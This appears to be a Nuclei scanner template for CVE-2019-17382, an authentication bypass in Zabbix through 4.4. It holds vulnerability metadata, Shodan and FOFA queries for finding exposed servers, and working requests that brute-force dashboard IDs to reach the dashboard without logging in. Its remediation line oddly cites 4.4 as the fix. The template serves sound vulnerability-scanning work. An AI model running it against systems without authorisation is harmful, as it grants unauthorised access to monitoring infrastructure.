Zabbix <=4.4 - Authentication Bypass

id: CVE-2019-17382

info:
  name: Zabbix <=4.4 - Authentication Bypass
  author: harshbothra_
  severity: critical
  description: Zabbix through 4.4 is susceptible to an authentication bypass vulnerability via zabbix.php?action=dashboard.view&dashboardid=1. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the Zabbix application.
  remediation: |
    Upgrade to a patched version of Zabbix (>=4.4) to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47467
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17382
    - https://lists.debian.org/debian-lts-announce/2023/08/msg00027.html
    - https://github.com/huimzjty/vulwiki
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2019-17382
    cwe-id: CWE-639
    epss-score: 0.5415
    epss-percentile: 0.98882
    cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 100
    vendor: zabbix
    product: zabbix
    shodan-query:
      - http.favicon.hash:892542951
      - http.title:"zabbix-server"
      - cpe:"cpe:2.3:a:zabbix:zabbix"
    fofa-query:
      - icon_hash=892542951
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
  tags: cve2019,cve,auth-bypass,login,edb,zabbix,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET {{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /
        - /zabbix.php
        - /zabbix/zabbix.php

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "<title>warning [refreshed every", "zabbix-logo", "content=\"zabbix sia")'
        internal: true

  - raw:
      - |
        GET {{path}}?action=dashboard.view&dashboardid={{ids}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /zabbix.php
        - /zabbix/zabbix.php
      ids: helpers/wordlists/numbers.txt
    attack: clusterbomb

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<title>Dashboard</title>"

      - type: status
        status:
          - 200
# digest: 490a0046304402201eb451d8f4e41f17b355b819c4ad2b8dcff00e25e4097a233a1b4634333214cc02201cc19b4dc56aad751e43303a29f4c5e9885370f3369ebb24e84074b47963d22e:922c64590222798bb761d5b6d8e72950